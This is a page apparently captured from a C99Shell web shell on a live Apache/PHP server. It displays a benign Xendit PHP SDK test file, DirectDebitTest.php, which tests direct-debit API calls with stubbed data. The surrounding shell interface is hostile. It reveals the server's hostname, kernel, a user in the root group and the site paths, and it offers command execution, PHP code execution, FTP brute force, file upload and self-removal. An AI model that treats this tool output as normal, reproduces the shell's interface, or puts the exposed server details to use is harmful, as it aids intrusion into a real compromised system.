!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/xendit/xendit-php/tests/Xendit/   drwxr-xr-x
Free 26.62 GB of 117.98 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DirectDebitTest.php (23.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * DirectDebitTest.php
 * php version 7.4.3
 *
 * @category Test
 * @package  Xendit
 * @author   Glenda <glenda@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */

namespace Xendit;

use 
Xendit\DirectDebit;
use 
Xendit\TestCase;

/**
 * Class DirectDebitTest
 *
 * @category Class
 * @package  Xendit
 * @author   Glenda <glenda@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */
class DirectDebitTest extends TestCase
{
    const 
INITIALIZED_LINKED_ACCOUNT_PARAMS = [
        
'customer_id' => '6778b829-1936-4c4a-a321-9a0178840571',
        
'channel_code' => 'DC_BRI',
        
'properties' => [
            
'account_mobile_number' => '+62818555988',
            
'card_last_four' => '8888',
            
'card_expiry' => '06/24',
            
'account_email' => 'test.email@xendit.co'
        
],
        
'metadata' => [
            
'meta' => 'data'
        
]
    ];

    const 
INITIALIZED_LINKED_ACCOUNT_RESPONSE = [
        
'id' => 'lat-f9dc34e7-153a-444e-b337-cd2599e7f670',
        
'customer_id' => '6778b829-1936-4c4a-a321-9a0178840571',
        
'channel_code' => 'DC_BRI',
        
'status' => 'PENDING',
        
'authorizer_url' => null,
        
'metadata' => [
            
'meta' => 'data'
        
],
    ];

    const 
TOKEN_ID 'lat-f9dc34e7-153a-444e-b337-cd2599e7f670';

    const 
VALIDATED_LINKED_ACCOUNT_PARAMS = [
        
'otp_code' => '333000'
    
];

    const 
VALIDATED_LINKED_ACCOUNT_RESPONSE = [
        
'id' => self::TOKEN_ID,
        
'customer_id' => '6778b829-1936-4c4a-a321-9a0178840571',
        
'channel_code' => 'DC_BRI',
        
'status' => 'SUCCESS',
        
'metadata' => [
            
'meta' => 'data'
        
],
    ];

    const 
ACCESSIBLE_ACCOUNT_RESPONSE = [
        [
            
'channel_code' => 'DC_BRI',
            
'id' => 'la-3a1b4458-9f5b-4dfd-8250-f6c3f41f5240',
            
'properties' => [
                
'card_expiry' => '06/24',
                
'card_last_four' => '8888',
                
'currency' => 'IDR',
                
'description' => ''
            
],
            
'type' => 'DEBIT_CARD'
        
]
    ];

    const 
UNBINDED_LINKED_ACCOUNT_RESPONSE = [
        
'id' => self::TOKEN_ID,
        
'is_deleted' =>  true
    
];

    const 
PAYMENT_METHOD_PARAMS = [
        
'customer_id' => '6778b829-1936-4c4a-a321-9a0178840571',
        
'type' => 'DEBIT_CARD',
        
'properties' => [
            
'id' => 'la-55048b41-a7ab-4799-9f33-6ec5cc078db0'
        
],
        
'metadata' => [
            
'meta' => 'data'
        
]
    ];

    const 
PAYMENT_METHOD_RESPONSE = [
        
'id' => 'pm-ebb1c863-c7b5-4f20-b116-b3071b1d3aef',
        
'customer_id' => '4b7b6050-0830-440a-903b-37d527dbbaa9',
        
'type' => 'DEBIT_CARD',
        
'status' => 'ACTIVE',
        
'properties' => [
            
'id' => 'la-55048b41-a7ab-4799-9f33-6ec5cc078db0',
            
'currency' => 'IDR',
            
'card_expiry' => '11/23',
            
'description' => '',
            
'channel_code' => 'DC_BRI',
            
'card_last_four' => '8888'
        
],
        
'metadata' => [
            
'meta' => 'data'
        
],
        
'created' => '2021-07-15T03:17:53.989Z',
        
'updated' => '2021-07-15T03:17:53.989Z'
    
];

    const 
CUSTOMER_ID '4b7b6050-0830-440a-903b-37d527dbbaa9';

    const 
DIRECT_DEBIT_PAYMENT_PARAMS = [
        
'reference_id' => 'test-ref-id',
        
'payment_method_id' => 'pm-ebb1c863-c7b5-4f20-b116-b3071b1d3aef',
        
'currency' => 'IDR',
        
'amount' => 15000,
        
'callback_url' => 'http://webhook.site/',
        
'enable_otp' => true,
        
'description' => 'test description',
        
'basket' => [
            [
                
'reference_id' => 'basket-product-ref-id',
                
'name' => 'product name',
                
'category' => 'mechanics',
                
'market' => 'ID',
                
'price' => 50000,
                
'quantity' => 5,
                
'type' => 'product type',
                
'sub_category' => 'product sub category',
                
'category' => 'product category',
                
'description' => 'product description',
                
'url' => 'http://product.url'
            
]
        ],
        
'success_redirect_url' => 'https://success-redirect.url',
        
'failure_redirect_url' => 'https://failure-redirect.url',
        
'device' => [
            
'id' => 'device-id',
            
'ip_address' => '0.0.0.0',
            
'user_agent' => 'user-agent',
            
'ad_id' => 'ad-id',
            
'imei' => '123a456b789c'
        
],
        
'metadata' => [
            
'meta' => 'data'
        
],
        
'Idempotency-key' => 'idempotency-keyy'
    
];

    const 
DIRECT_DEBIT_PAYMENT_RESPONSE = [
        
'id' => 'ddpy-7e61b0a7-92f9-4762-a994-c2936306f44c',
        
'reference_id' => 'test-ref-id',
        
'payment_method_id' => 'pm-ebb1c863-c7b5-4f20-b116-b3071b1d3aef',
        
'channel_code' => 'DC_BRI',
        
'currency' => 'IDR',
        
'amount' => 15000,
        
'is_otp_required' => true,
        
'basket' => [
            [
                
'reference_id' => 'basket-product-ref-id',
                
'name' => 'product name',
                
'category' => 'mechanics',
                
'market' => 'ID',
                
'price' => 50000,
                
'quantity' => 5,
                
'type' => 'product type',
                
'sub_category' => 'product sub category',
                
'category' => 'product category',
                
'description' => 'product description',
                
'url' => 'http://product.url'
            
]
        ],
        
'description' => 'test description',
        
'status' => 'PENDING',
        
'callback_url' => 'http://webhook.site/',
        
'enable_otp' => true,
        
'metadata' => [
            
'meta' => 'data'
        
],
        
'created' => '2021-07-16T02:19:07.277466Z',
        
'updated' => '2021-07-16T02:19:07.277466Z',
        
'device' => [
            
'id' => 'device-id',
            
'ip_address' => '0.0.0.0',
            
'user_agent' => 'user-agent',
            
'ad_id' => 'ad-id',
            
'imei' => '123a456b789c'
        
],
        
'refunded_amount' => 0,
        
'refunds' => [
            
'data' => [
                
'a1b''c2d''e3f''g4h'
            
],
            
'has_more' => false,
            
'url' => 'https://ref.unds'
        
],
        
'failure_code' => 'failure-code',
        
'otp_mobile_number' => '+6281234567890',
        
'otp_expiration_timestamp' => '2100-07-16T02:19:07.277466Z',
        
'success_redirect_url' => 'https://success-redirect.url',
        
'checkout_url' => 'https://checkout.url',
        
'failure_redirect_url' => 'https://failure-redirect.url',
        
'required_action' => 'VALIDATE_OTP'
    
];

    const 
VALIDATED_DIRECT_DEBIT_PAYMENT_RESPONSE = [
        
'id' => 'ddpy-7e61b0a7-92f9-4762-a994-c2936306f44c',
        
'reference_id' => 'test-ref-id',
        
'payment_method_id' => 'pm-ebb1c863-c7b5-4f20-b116-b3071b1d3aef',
        
'channel_code' => 'DC_BRI',
        
'currency' => 'IDR',
        
'amount' => 15000,
        
'is_otp_required' => true,
        
'basket' => [
            [
                
'reference_id' => 'basket-product-ref-id',
                
'name' => 'product name',
                
'category' => 'mechanics',
                
'market' => 'ID',
                
'price' => 50000,
                
'quantity' => 5,
                
'type' => 'product type',
                
'sub_category' => 'product sub category',
                
'category' => 'product category',
                
'description' => 'product description',
                
'url' => 'http://product.url'
            
]
        ],
        
'description' => 'test description',
        
'status' => 'COMPLETED',
        
'callback_url' => 'http://webhook.site/',
        
'enable_otp' => true,
        
'metadata' => [
            
'meta' => 'data'
        
],
        
'created' => '2021-07-16T02:19:07.277466Z',
        
'updated' => '2021-07-16T02:19:07.277466Z',
        
'device' => [
            
'id' => 'device-id',
            
'ip_address' => '0.0.0.0',
            
'user_agent' => 'user-agent',
            
'ad_id' => 'ad-id',
            
'imei' => '123a456b789c'
        
],
        
'refunded_amount' => 0,
        
'refunds' => [
            
'data' => [
                
'a1b''c2d''e3f''g4h'
            
],
            
'has_more' => false,
            
'url' => 'https://ref.unds'
        
],
        
'failure_code' => 'failure-code',
        
'otp_mobile_number' => '+6281234567890',
        
'otp_expiration_timestamp' => '2100-07-16T02:19:07.277466Z',
        
'success_redirect_url' => 'https://success-redirect.url',
        
'checkout_url' => 'https://checkout.url',
        
'failure_redirect_url' => 'https://failure-redirect.url',
        
'required_action' => 'VALIDATE_OTP'
    
];

    const 
DIRECT_DEBIT_PAYMENT_ID 'ddpy-7e61b0a7-92f9-4762-a994-c2936306f44c';

    const 
VALIDATED_DIRECT_DEBIT_PAYMENT_PARAMS = [
        
'otp_code' => '222000'
    
];

    const 
REFERENCE_ID 'test-ref-id';

    
/**
     * Initialize linked account tokenization test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountTokenizationInitializable()
    {
        
$params self::INITIALIZED_LINKED_ACCOUNT_PARAMS;

        
$response self::INITIALIZED_LINKED_ACCOUNT_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/linked_account_tokens/auth',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::initializeLinkedAccountTokenization($params);

        
$this->assertEquals($response$result);
    }

    
/**
     * Initialize linked account tokenization with headers
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountTokenizationInitializableWithHeaders()
    {
        
$params array_merge(
            
self::INITIALIZED_LINKED_ACCOUNT_PARAMS,
            array(
'for-user-id' => 'user-id')
        );

        
$response self::INITIALIZED_LINKED_ACCOUNT_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/linked_account_tokens/auth',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::initializeLinkedAccountTokenization($params);

        
$this->assertEquals($response$result);
    }

    
/**
     * Initialize linked account tokenization test
     * Should throw InvalidArgumentException
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountTokenizationInitializableThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);
        
$params self::INITIALIZED_LINKED_ACCOUNT_PARAMS;

        
DirectDebit::initializeLinkedAccountTokenization($params);
    }

    
/**
     * Validate OTP for linked account test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountOTPValidatable()
    {
        
$params self::VALIDATED_LINKED_ACCOUNT_PARAMS;

        
$response self::VALIDATED_LINKED_ACCOUNT_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/linked_account_tokens/' self::TOKEN_ID '/validate_otp',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::validateOTPForLinkedAccount(
            
self::TOKEN_ID,
            
$params
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Validate OTP for linked account test with headers
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountOTPValidatableWithHeaders()
    {
        
// $token_id = 'lat-f9dc34e7-153a-444e-b337-cd2599e7f670';

        
$params array_merge(
            
self::VALIDATED_LINKED_ACCOUNT_PARAMS,
            array(
'for-user-id' => 'user-id')
        );

        
$response self::VALIDATED_LINKED_ACCOUNT_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/linked_account_tokens/' self::TOKEN_ID '/validate_otp',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::validateOTPForLinkedAccount(
            
self::TOKEN_ID,
            
$params
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Validate OTP for linked account test
     * Should throw ApiException
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountOTPValidatableThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);

        
// $token_id = 'lat-f9dc34e7-153a-444e-b337-cd2599e7f670';

        
$params self::VALIDATED_LINKED_ACCOUNT_PARAMS;

        
DirectDebit::validateOTPForLinkedAccount(
            
self::TOKEN_ID,
            
$params
        
);
    }

    
/**
     * Retrieve accessible linked accounts test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsAccessibleLinkedAccountRetrievable()
    {
        
$response self::ACCESSIBLE_ACCOUNT_RESPONSE;

        
$this->stubRequest(
            
'GET',
            
'/linked_account_tokens/' self::TOKEN_ID '/accounts',
            [],
            [],
            
$response
        
);

        
$result DirectDebit::retrieveAccessibleLinkedAccounts(
            
self::TOKEN_ID
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Retrieve accessible linked accounts test
     * Should throw apiException
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsAccessibleLinkedAccountRetrievableThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);

        
DirectDebit::retrieveAccessibleLinkedAccounts(
            
self::TOKEN_ID
        
);
    }

    
/**
     * Unbind linked account token test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountTokenUnbindable()
    {
        
$response self::UNBINDED_LINKED_ACCOUNT_RESPONSE;

        
$this->stubRequest(
            
'DELETE',
            
'/linked_account_tokens/' self::TOKEN_ID,
            [],
            [],
            
$response
        
);

        
$result DirectDebit::unbindLinkedAccountToken(
            
self::TOKEN_ID
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Unbind linked account token test with headers
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountUnbindableWithHeaders()
    {
        
$params = [
            
'for-user-id' => 'user-id'
        
];

        
$response self::UNBINDED_LINKED_ACCOUNT_RESPONSE;

        
$this->stubRequest(
            
'DELETE',
            
'/linked_account_tokens/' self::TOKEN_ID,
            [],
            [],
            
$response
        
);

        
$result DirectDebit::unbindLinkedAccountToken(
            
self::TOKEN_ID
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Unbind linked account test
     * Should throw ApiException
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsLinkedAccountUnbindableThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);

        
DirectDebit::unbindLinkedAccountToken(
            
self::TOKEN_ID
        
);
    }

    
/**
     * Create payment method test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsPaymentMethodCreatable()
    {
        
$params self::PAYMENT_METHOD_PARAMS;

        
$response self::PAYMENT_METHOD_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/payment_methods',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::createPaymentMethod($params);

        
$this->assertEquals($response$result);
    }

    
/**
     * Create payment method test with headers
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsPaymentMethodCreatableWithHeaders()
    {
        
$params array_merge(
            
self::PAYMENT_METHOD_PARAMS,
            array(
'for-user-id' => 'user-id')
        );

        
$response self::PAYMENT_METHOD_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/payment_methods',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::createPaymentMethod($params);

        
$this->assertEquals($response$result);
    }

    
/**
     * Create payment method test
     * Should throw InvalidArgumentException
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsPaymentMethodCreatableThrowApiException()
    {
        
// $this->expectException(\Xendit\Exceptions\InvalidArgumentException::class);
        
$this->expectException(\Xendit\Exceptions\ApiException::class);
        
$params self::PAYMENT_METHOD_PARAMS;

        
DirectDebit::createPaymentMethod($params);
    }

    
/**
     * Get payment method test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsPaymentMethodGettable()
    {
        
$response = [self::PAYMENT_METHOD_RESPONSE];

        
$this->stubRequest(
            
'GET',
            
'/payment_methods?customer_id=' self::CUSTOMER_ID,
            [],
            [],
            
$response
        
);

        
$result DirectDebit::getPaymentMethodsByCustomerID(
            
self::CUSTOMER_ID
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Get payment method test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsPaymentMethodGettableButNotFound()
    {
        
$result DirectDebit::getPaymentMethodsByCustomerID(self::CUSTOMER_ID);
        
$this->assertEquals($result, []);
    }

    
/**
     * Create direct debit payment test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentCreatable()
    {
        
$params self::DIRECT_DEBIT_PAYMENT_PARAMS;

        
$response self::DIRECT_DEBIT_PAYMENT_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/direct_debits',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::createDirectDebitPayment($params);

        
$this->assertEquals($response$result);
    }

    
/**
     * Create direct debit payment test with headers
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentCreatableWithHeaders()
    {
        
$params array_merge(
            
self::DIRECT_DEBIT_PAYMENT_PARAMS,
            array(
'for-user-id' => 'user-id')
        );

        
$response self::DIRECT_DEBIT_PAYMENT_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/direct_debits',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::createDirectDebitPayment($params);

        
$this->assertEquals($response$result);
    }

    
/**
     * Create direct debit payment test
     * Should throw InvalidArgumentException
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentCreatableThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);
        
$params self::DIRECT_DEBIT_PAYMENT_PARAMS;

        
DirectDebit::createDirectDebitPayment($params);
    }

    
/**
     * Validate OTP for direct debit payment
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentOTPValidatable()
    {
        
$params self::VALIDATED_DIRECT_DEBIT_PAYMENT_PARAMS;

        
$response self::VALIDATED_DIRECT_DEBIT_PAYMENT_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/direct_debits/' self::DIRECT_DEBIT_PAYMENT_ID '/validate_otp/',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::validateOTPForDirectDebitPayment(
            
self::DIRECT_DEBIT_PAYMENT_ID,
            
$params
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Validate OTP for direct debit payment test with headers
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentOTPValidatableWithHeaders()
    {
        
$params array_merge(
            
self::VALIDATED_DIRECT_DEBIT_PAYMENT_PARAMS,
            array(
'for-user-id' => 'user-id')
        );

        
$response self::VALIDATED_DIRECT_DEBIT_PAYMENT_RESPONSE;

        
$this->stubRequest(
            
'POST',
            
'/direct_debits/' self::DIRECT_DEBIT_PAYMENT_ID '/validate_otp/',
            
$params,
            [],
            
$response
        
);

        
$result DirectDebit::validateOTPForDirectDebitPayment(
            
self::DIRECT_DEBIT_PAYMENT_ID,
            
$params
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Validate OTP for direct debit payment test
     * Should throw ApiException
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentValidatableThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);

        
$params self::VALIDATED_DIRECT_DEBIT_PAYMENT_PARAMS;

        
DirectDebit::validateOTPForDirectDebitPayment(
            
self::DIRECT_DEBIT_PAYMENT_ID,
            
$params
        
);
    }

    
/**
     * Get direct debit payment test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentGettableByID()
    {
        
$response self::VALIDATED_DIRECT_DEBIT_PAYMENT_RESPONSE;

        
$this->stubRequest(
            
'GET',
            
'/direct_debits/' self::DIRECT_DEBIT_PAYMENT_ID '/',
            [],
            [],
            
$response
        
);

        
$result DirectDebit::getDirectDebitPaymentByID(
            
self::DIRECT_DEBIT_PAYMENT_ID
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Get direct debit payment test
     * Should throw ApiException
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentGettableByIDThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);
        
DirectDebit::getDirectDebitPaymentByID(self::DIRECT_DEBIT_PAYMENT_ID);
    }

    
/**
     * Get direct debit payment test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentGettableByReferenceID()
    {
        
$response = [self::VALIDATED_DIRECT_DEBIT_PAYMENT_RESPONSE];

        
$this->stubRequest(
            
'GET',
            
'/direct_debits?reference_id=' self::REFERENCE_ID,
            [],
            [],
            
$response
        
);

        
$result DirectDebit::getDirectDebitPaymentByReferenceID(
            
self::REFERENCE_ID
        
);

        
$this->assertEquals($response$result);
    }

    
/**
     * Get direct debit payment test
     * Should pass
     *
     * @return void
     * @throws Exceptions\ApiException
     */
    
public function testIsDirectDebitPaymentGettableByReferenceIDButNotFound()
    {
        
$result DirectDebit::getDirectDebitPaymentByReferenceID(
            
self::REFERENCE_ID
        
);
        
$this->assertEquals($result, []);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--